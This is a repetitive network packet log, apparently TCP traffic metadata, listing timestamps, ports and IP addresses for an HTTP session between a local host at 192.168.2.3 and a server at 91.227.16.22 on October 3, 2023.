Oct 3, 2023 09:55:09.270574093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270586967 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.270644903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270684004 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270698071 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.270755053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270802021 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.270886898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270972013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271023035 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.271055937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271130085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271181107 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.271236897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271610975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271663904 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.271687031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271723986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271761894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271771908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.271836996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271874905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271886110 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.271944046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271982908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.271994114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272021055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272058964 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272069931 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272129059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272169113 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272180080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272241116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272279024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272289038 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272350073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272397041 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272450924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272524118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272562027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272572994 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272623062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272663116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272671938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272735119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272784948 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272809029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272849083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272897959 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.272918940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.272957087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273010969 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.273027897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273065090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273112059 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.273135900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273175001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273215055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273226976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.273284912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273334980 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.273562908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273654938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273706913 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.273756027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273871899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.273919106 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.273974895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.274185896 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.274245977 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.485200882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485230923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485240936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485253096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485286951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485296011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485310078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485332966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485692978 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485722065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485739946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485759974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485783100 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485800028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485816002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485836029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485860109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485878944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.485894918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486002922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486021996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486073971 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.486090899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486183882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486320019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486330032 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.486330986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.486491919 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.486571074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486589909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486608028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486634970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486713886 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486721039 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.486836910 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.486845970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486927986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.486965895 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.487030983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487104893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487149000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.487199068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487310886 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.487312078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487377882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487489939 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.487509012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487535954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487631083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.487634897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487745047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487823009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.487868071 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.487903118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488006115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488013029 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.488100052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488163948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488205910 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.488255024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488337040 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488367081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.488441944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488501072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488584042 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.488615990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488719940 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.488722086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488786936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488882065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.488903046 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.488986969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489020109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489099026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489108086 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.489166975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489224911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489243031 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.489301920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489343882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489355087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.489396095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489442110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489455938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.489562035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489592075 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.489625931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489656925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489725113 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.489799023 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489886999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.489947081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.490005970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490067959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490111113 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.490210056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490329981 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.490351915 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490390062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490454912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490518093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.490529060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490585089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490626097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490659952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.490701914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490736961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.490791082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490883112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.490912914 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.490915060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491003036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491035938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.491039038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491111994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491147041 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.491151094 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491204977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491261005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491288900 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.491305113 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491348982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.491404057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491426945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491480112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.491522074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.491631031 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.491940975 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.497637033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498055935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498089075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498111963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498133898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498155117 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498172045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498172045 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498189926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498207092 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498219967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498241901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498255014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498270035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498290062 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498393059 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498478889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498534918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498605013 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498631001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498647928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498677015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498716116 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498723030 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498790979 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498800039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498862028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498914003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.498917103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.498986959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499030113 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499047995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499048948 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499099970 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499135971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499185085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499253988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499254942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499313116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499394894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499397039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499479055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499502897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499528885 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499573946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499603033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499620914 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499656916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499706984 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499744892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499799967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499851942 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.499892950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.499996901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500044107 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.500057936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500169039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500219107 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.500232935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500308037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500358105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.500423908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500565052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500612020 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.500633001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500690937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500730038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500734091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.500783920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500829935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.500857115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500927925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.500974894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.500977039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501049995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501092911 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.501131058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501205921 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501247883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.501287937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501353979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501399040 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.501468897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501488924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501516104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501537085 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.501575947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501627922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.501629114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501694918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501745939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501749992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.501831055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501885891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501902103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501902103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.501966000 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.501969099 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502000093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502057076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502062082 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502115965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502182961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502197027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502258062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502294064 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502357960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502362013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502445936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502453089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502497911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502580881 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502580881 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502660990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502723932 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502773046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502821922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.502904892 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.502954960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503034115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503057003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503097057 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.503098965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503145933 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503180981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503181934 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.503241062 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.503249884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503340006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503420115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503420115 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.503530979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503603935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.503602982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.503710985 CEST	80	49816	91.227.16.22	192.168.2.3
